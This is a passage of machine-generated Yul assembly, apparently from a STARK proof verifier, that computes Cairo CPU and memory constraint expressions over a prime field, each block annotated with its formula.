// ecdsa/signature0/exponentiate_key/bit_neg_0 = 1 - ecdsa__signature0__exponentiate_key__bit_0.
let val := addmod(
1,
sub(
PRIME,
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x43e0)),
PRIME)
mstore(0x4400, val)
}
{
// Constraint expression for cpu/decode/opcode_rc/bit: cpu__decode__opcode_rc__bit_0 * cpu__decode__opcode_rc__bit_0 - cpu__decode__opcode_rc__bit_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3f40),
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3f40),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3f40)),
PRIME)
// Numerator: point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
// val *= numerators[0].
val := mulmod(val, mload(0x4ca0), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[0] + coefficients[1] * adjustments[0]).
res := addmod(res,
mulmod(val,
add(/*coefficients[0]*/ mload(0x440),
mulmod(/*coefficients[1]*/ mload(0x460),
/*adjustments[0]*/mload(0x4e00),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/opcode_rc/last_bit: column0_row0 * column0_row0 - column0_row0.
let val := addmod(
mulmod(/*column0_row0*/ mload(0x2980), /*column0_row0*/ mload(0x2980), PRIME),
sub(PRIME, /*column0_row0*/ mload(0x2980)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
// val *= denominator_invs[1].
val := mulmod(val, mload(0x4700), PRIME)
// res += val * (coefficients[2] + coefficients[3] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[2]*/ mload(0x480),
mulmod(/*coefficients[3]*/ mload(0x4a0),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/opcode_rc_input: column17_row1 - (((column0_row0 * offset_size + column19_row4) * offset_size + column19_row8) * offset_size + column19_row0).
let val := addmod(
/*column17_row1*/ mload(0x3220),
sub(
PRIME,
addmod(
mulmod(
addmod(
mulmod(
addmod(
mulmod(/*column0_row0*/ mload(0x2980), /*offset_size*/ mload(0xa0), PRIME),
/*column19_row4*/ mload(0x3800),
PRIME),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row8*/ mload(0x3880),
PRIME),
/*offset_size*/ mload(0xa0),
PRIME),
/*column19_row0*/ mload(0x3780),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[4] + coefficients[5] * adjustments[2]).
res := addmod(res,
mulmod(val,
add(/*coefficients[4]*/ mload(0x4c0),
mulmod(/*coefficients[5]*/ mload(0x4e0),
/*adjustments[2]*/mload(0x4e40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem_dst_addr: column17_row8 + half_offset_size - (cpu__decode__opcode_rc__bit_0 * column19_row9 + (1 - cpu__decode__opcode_rc__bit_0) * column19_row1 + column19_row0).
let val := addmod(
addmod(/*column17_row8*/ mload(0x3300), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3f40),
/*column19_row9*/ mload(0x38a0),
PRIME),
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3f40)),
PRIME),
/*column19_row1*/ mload(0x37a0),
PRIME),
PRIME),
/*column19_row0*/ mload(0x3780),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[6] + coefficients[7] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[6]*/ mload(0x500),
mulmod(/*coefficients[7]*/ mload(0x520),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem0_addr: column17_row4 + half_offset_size - (cpu__decode__opcode_rc__bit_1 * column19_row9 + (1 - cpu__decode__opcode_rc__bit_1) * column19_row1 + column19_row8).
let val := addmod(
addmod(/*column17_row4*/ mload(0x3280), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x3f60),
/*column19_row9*/ mload(0x38a0),
PRIME),
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x3f60)),
PRIME),
/*column19_row1*/ mload(0x37a0),
PRIME),
PRIME),
/*column19_row8*/ mload(0x3880),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[8] + coefficients[9] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[8]*/ mload(0x540),
mulmod(/*coefficients[9]*/ mload(0x560),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem1_addr: column17_row12 + half_offset_size - (cpu__decode__opcode_rc__bit_2 * column17_row0 + cpu__decode__opcode_rc__bit_4 * column19_row1 + cpu__decode__opcode_rc__bit_3 * column19_row9 + (1 - (cpu__decode__opcode_rc__bit_2 + cpu__decode__opcode_rc__bit_4 + cpu__decode__opcode_rc__bit_3)) * column17_row5 + column19_row4).
let val := addmod(
addmod(/*column17_row12*/ mload(0x3340), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x3f80),
/*column17_row0*/ mload(0x3200),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_4*/ mload(0x3fa0),
/*column19_row1*/ mload(0x37a0),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x3fc0),
/*column19_row9*/ mload(0x38a0),
PRIME),
PRIME),
mulmod(
addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x3f80),
/*intermediate_value/cpu/decode/opcode_rc/bit_4*/ mload(0x3fa0),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x3fc0),
PRIME)),
PRIME),
/*column17_row5*/ mload(0x32a0),
PRIME),
PRIME),
/*column19_row4*/ mload(0x3800),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[10] + coefficients[11] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[10]*/ mload(0x580),
mulmod(/*coefficients[11]*/ mload(0x5a0),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/ops_mul: column19_row5 - column17_row5 * column17_row13.
let val := addmod(
/*column19_row5*/ mload(0x3820),
sub(
PRIME,
mulmod(/*column17_row5*/ mload(0x32a0), /*column17_row13*/ mload(0x3360), PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[12] + coefficients[13] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[12]*/ mload(0x5c0),
mulmod(/*coefficients[13]*/ mload(0x5e0),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/res: (1 - cpu__decode__opcode_rc__bit_9) * column19_row13 - (cpu__decode__opcode_rc__bit_5 * (column17_row5 + column17_row13) + cpu__decode__opcode_rc__bit_6 * column19_row5 + (1 - (cpu__decode__opcode_rc__bit_5 + cpu__decode__opcode_rc__bit_6 + cpu__decode__opcode_rc__bit_9)) * column17_row13).
let val := addmod(
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3fe0)),
PRIME),
/*column19_row13*/ mload(0x3900),
PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_5*/ mload(0x4000),
addmod(/*column17_row5*/ mload(0x32a0), /*column17_row13*/ mload(0x3360), PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_6*/ mload(0x4020),
/*column19_row5*/ mload(0x3820),
PRIME),
PRIME),
mulmod(
addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_5*/ mload(0x4000),
/*intermediate_value/cpu/decode/opcode_rc/bit_6*/ mload(0x4020),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3fe0),
PRIME)),
PRIME),
/*column17_row13*/ mload(0x3360),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[14] + coefficients[15] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[14]*/ mload(0x600),
mulmod(/*coefficients[15]*/ mload(0x620),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/tmp0: column19_row3 - cpu__decode__opcode_rc__bit_9 * column17_row9.
let val := addmod(
/*column19_row3*/ mload(0x37e0),
sub(
PRIME,
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3fe0),
/*column17_row9*/ mload(0x3320),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x4cc0), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[16] + coefficients[17] * adjustments[3]).
res := addmod(res,
mulmod(val,
add(/*coefficients[16]*/ mload(0x640),
mulmod(/*coefficients[17]*/ mload(0x660),
/*adjustments[3]*/mload(0x4e60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/tmp1: column19_row11 - column19_row3 * column19_row13.
let val := addmod(
/*column19_row11*/ mload(0x38c0),
sub(
PRIME,
mulmod(/*column19_row3*/ mload(0x37e0), /*column19_row13*/ mload(0x3900), PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x4cc0), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[18] + coefficients[19] * adjustments[3]).
res := addmod(res,
mulmod(val,
add(/*coefficients[18]*/ mload(0x680),
mulmod(/*coefficients[19]*/ mload(0x6a0),
/*adjustments[3]*/mload(0x4e60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/pc_cond_negative: (1 - cpu__decode__opcode_rc__bit_9) * column17_row16 + column19_row3 * (column17_row16 - (column17_row0 + column17_row13)) - ((1 - (cpu__decode__opcode_rc__bit_7 + cpu__decode__opcode_rc__bit_8 + cpu__decode__opcode_rc__bit_9)) * npc_reg_0 + cpu__decode__opcode_rc__bit_7 * column19_row13 + cpu__decode__opcode_rc__bit_8 * (column17_row0 + column19_row13)).
let val := addmod(
addmod(
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3fe0)),
PRIME),
/*column17_row16*/ mload(0x3380),
PRIME),
mulmod(
/*column19_row3*/ mload(0x37e0),
addmod(
/*column17_row16*/ mload(0x3380),
sub(
PRIME,
addmod(/*column17_row0*/ mload(0x3200), /*column17_row13*/ mload(0x3360), PRIME)),
PRIME),
PRIME),
PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x4040),
/*intermediate_value/cpu/decode/opcode_rc/bit_8*/ mload(0x4060),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3fe0),
PRIME)),
PRIME),
/*intermediate_value/npc_reg_0*/ mload(0x4080),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x4040),
/*column19_row13*/ mload(0x3900),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_8*/ mload(0x4060),
addmod(/*column17_row0*/ mload(0x3200), /*column19_row13*/ mload(0x3900), PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x4cc0), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[20] + coefficients[21] * adjustments[3]).
res := addmod(res,
mulmod(val,
add(/*coefficients[20]*/ mload(0x6c0),
mulmod(/*coefficients[21]*/ mload(0x6e0),
/*adjustments[3]*/mload(0x4e60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/pc_cond_positive: (column19_row11 - cpu__decode__opcode_rc__bit_9) * (column17_row16 - npc_reg_0).
let val := mulmod(
addmod(
/*column19_row11*/ mload(0x38c0),
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3fe0)),
PRIME),
addmod(
/*column17_row16*/ mload(0x3380),
sub(PRIME, /*intermediate_value/npc_reg_0*/ mload(0x4080)),
PRIME),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x4cc0), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[22] + coefficients[23] * adjustments[3]).
res := addmod(res,
mulmod(val,
add(/*coefficients[22]*/ mload(0x700),
mulmod(/*coefficients[23]*/ mload(0x720),
/*adjustments[3]*/mload(0x4e60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_ap/ap_update: column19_row17 - (column19_row1 + cpu__decode__opcode_rc__bit_10 * column19_row13 + cpu__decode__opcode_rc__bit_11 + cpu__decode__opcode_rc__bit_12 * 2).
let val := addmod(
/*column19_row17*/ mload(0x3940),
sub(
PRIME,
addmod(
addmod(
addmod(
/*column19_row1*/ mload(0x37a0),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_10*/ mload(0x40a0),
/*column19_row13*/ mload(0x3900),
PRIME),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_11*/ mload(0x40c0),
PRIME),
mulmod(/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x40e0), 2, PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x4cc0), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[24] + coefficients[25] * adjustments[3]).
res := addmod(res,
mulmod(val,
add(/*coefficients[24]*/ mload(0x740),
mulmod(/*coefficients[25]*/ mload(0x760),
/*adjustments[3]*/mload(0x4e60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_fp/fp_update: column19_row25 - ((1 - (cpu__decode__opcode_rc__bit_12 + cpu__decode__opcode_rc__bit_13)) * column19_row9 + cpu__decode__opcode_rc__bit_13 * column17_row9 + cpu__decode__opcode_rc__bit_12 * (column19_row1 + 2)).
let val := addmod(
/*column19_row25*/ mload(0x3980),
sub(
PRIME,
addmod(
addmod(
mulmod(
addmod(
1,
sub(
PRIME,
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x40e0),
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x4100),
PRIME)),
PRIME),
/*column19_row9*/ mload(0x38a0),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x4100),
/*column17_row9*/ mload(0x3320),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x40e0),
addmod(/*column19_row1*/ mload(0x37a0), 2, PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x4cc0), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[26] + coefficients[27] * adjustments[3]).
res := addmod(res,
mulmod(val,
add(/*coefficients[26]*/ mload(0x780),
mulmod(/*coefficients[27]*/ mload(0x7a0),
/*adjustments[3]*/mload(0x4e60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/push_fp: cpu__decode__opcode_rc__bit_12 * (column17_row9 - column19_row9).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x40e0),
addmod(/*column17_row9*/ mload(0x3320), sub(PRIME, /*column19_row9*/ mload(0x38a0)), PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[28] + coefficients[29] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[28]*/ mload(0x7c0),
mulmod(/*coefficients[29]*/ mload(0x7e0),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/push_pc: cpu__decode__opcode_rc__bit_12 * (column17_row5 - (column17_row0 + cpu__decode__opcode_rc__bit_2 + 1)).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x40e0),
addmod(
/*column17_row5*/ mload(0x32a0),
sub(
PRIME,
addmod(
addmod(
/*column17_row0*/ mload(0x3200),
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x3f80),
PRIME),
1,
PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[30] + coefficients[31] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[30]*/ mload(0x800),
mulmod(/*coefficients[31]*/ mload(0x820),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/assert_eq/assert_eq: cpu__decode__opcode_rc__bit_14 * (column17_row9 - column19_row13).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_14*/ mload(0x4120),
addmod(
/*column17_row9*/ mload(0x3320),
sub(PRIME, /*column19_row13*/ mload(0x3900)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x4720), PRIME)
// res += val * (coefficients[32] + coefficients[33] * adjustments[1]).
res := addmod(res,
mulmod(val,
add(/*coefficients[32]*/ mload(0x840),
mulmod(/*coefficients[33]*/ mload(0x860),
/*adjustments[1]*/mload(0x4e20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for initial_ap: column19_row1 - initial_ap.
let val := addmod(/*column19_row1*/ mload(0x37a0), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[34] + coefficients[35] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[34]*/ mload(0x880),
mulmod(/*coefficients[35]*/ mload(0x8a0),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for initial_fp: column19_row9 - initial_ap.
let val := addmod(/*column19_row9*/ mload(0x38a0), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[36] + coefficients[37] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[36]*/ mload(0x8c0),
mulmod(/*coefficients[37]*/ mload(0x8e0),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for initial_pc: column17_row0 - initial_pc.
let val := addmod(/*column17_row0*/ mload(0x3200), sub(PRIME, /*initial_pc*/ mload(0x100)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[38] + coefficients[39] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[38]*/ mload(0x900),
mulmod(/*coefficients[39]*/ mload(0x920),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for final_ap: column19_row1 - final_ap.
let val := addmod(/*column19_row1*/ mload(0x37a0), sub(PRIME, /*final_ap*/ mload(0x120)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= denominator_invs[4].
val := mulmod(val, mload(0x4760), PRIME)
// res += val * (coefficients[40] + coefficients[41] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[40]*/ mload(0x940),
mulmod(/*coefficients[41]*/ mload(0x960),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for final_pc: column17_row0 - final_pc.
let val := addmod(/*column17_row0*/ mload(0x3200), sub(PRIME, /*final_pc*/ mload(0x140)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= denominator_invs[4].
val := mulmod(val, mload(0x4760), PRIME)
// res += val * (coefficients[42] + coefficients[43] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[42]*/ mload(0x980),
mulmod(/*coefficients[43]*/ mload(0x9a0),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/init0: (memory/multi_column_perm/perm/interaction_elm - (column18_row0 + memory/multi_column_perm/hash_interaction_elm0 * column18_row1)) * column21_inter1_row0 + column17_row0 + memory/multi_column_perm/hash_interaction_elm0 * column17_row1 - memory/multi_column_perm/perm/interaction_elm.
let val := addmod(
addmod(
addmod(
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column18_row0*/ mload(0x3700),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column18_row1*/ mload(0x3720),
PRIME),
PRIME)),
PRIME),
/*column21_inter1_row0*/ mload(0x3ea0),
PRIME),
/*column17_row0*/ mload(0x3200),
PRIME),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column17_row1*/ mload(0x3220),
PRIME),
PRIME),
sub(PRIME, /*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[44] + coefficients[45] * adjustments[5]).
res := addmod(res,
mulmod(val,
add(/*coefficients[44]*/ mload(0x9c0),
mulmod(/*coefficients[45]*/ mload(0x9e0),
/*adjustments[5]*/mload(0x4ea0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/step0: (memory/multi_column_perm/perm/interaction_elm - (column18_row2 + memory/multi_column_perm/hash_interaction_elm0 * column18_row3)) * column21_inter1_row2 - (memory/multi_column_perm/perm/interaction_elm - (column17_row2 + memory/multi_column_perm/hash_interaction_elm0 * column17_row3)) * column21_inter1_row0.
let val := addmod(
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column18_row2*/ mload(0x3740),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column18_row3*/ mload(0x3760),
PRIME),
PRIME)),
PRIME),
/*column21_inter1_row2*/ mload(0x3ee0),
PRIME),
sub(
PRIME,
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column17_row2*/ mload(0x3240),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column17_row3*/ mload(0x3260),
PRIME),
PRIME)),
PRIME),
/*column21_inter1_row0*/ mload(0x3ea0),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x4ce0), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x4780), PRIME)
// res += val * (coefficients[46] + coefficients[47] * adjustments[6]).
res := addmod(res,
mulmod(val,
add(/*coefficients[46]*/ mload(0xa00),
mulmod(/*coefficients[47]*/ mload(0xa20),
/*adjustments[6]*/mload(0x4ec0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/last: column21_inter1_row0 - memory/multi_column_perm/perm/public_memory_prod.
let val := addmod(
/*column21_inter1_row0*/ mload(0x3ea0),
sub(PRIME, /*memory/multi_column_perm/perm/public_memory_prod*/ mload(0x1a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= denominator_invs[6].
val := mulmod(val, mload(0x47a0), PRIME)
// res += val * (coefficients[48] + coefficients[49] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[48]*/ mload(0xa40),
mulmod(/*coefficients[49]*/ mload(0xa60),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for memory/diff_is_bit: memory__address_diff_0 * memory__address_diff_0 - memory__address_diff_0.
let val := addmod(
mulmod(
/*intermediate_value/memory/address_diff_0*/ mload(0x4140),
/*intermediate_value/memory/address_diff_0*/ mload(0x4140),
PRIME),
sub(PRIME, /*intermediate_value/memory/address_diff_0*/ mload(0x4140)),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x4ce0), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x4780), PRIME)
// res += val * (coefficients[50] + coefficients[51] * adjustments[6]).
res := addmod(res,
mulmod(val,
add(/*coefficients[50]*/ mload(0xa80),
mulmod(/*coefficients[51]*/ mload(0xaa0),
/*adjustments[6]*/mload(0x4ec0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for memory/is_func: (memory__address_diff_0 - 1) * (column18_row1 - column18_row3).
let val := mulmod(
addmod(/*intermediate_value/memory/address_diff_0*/ mload(0x4140), sub(PRIME, 1), PRIME),
addmod(/*column18_row1*/ mload(0x3720), sub(PRIME, /*column18_row3*/ mload(0x3760)), PRIME),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x4ce0), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x4780), PRIME)
// res += val * (coefficients[52] + coefficients[53] * adjustments[6]).
res := addmod(res,
mulmod(val,
add(/*coefficients[52]*/ mload(0xac0),
mulmod(/*coefficients[53]*/ mload(0xae0),
/*adjustments[6]*/mload(0x4ec0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for public_memory_addr_zero: column17_row2.
let val := /*column17_row2*/ mload(0x3240)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[7].
val := mulmod(val, mload(0x47c0), PRIME)
// res += val * (coefficients[54] + coefficients[55] * adjustments[7]).
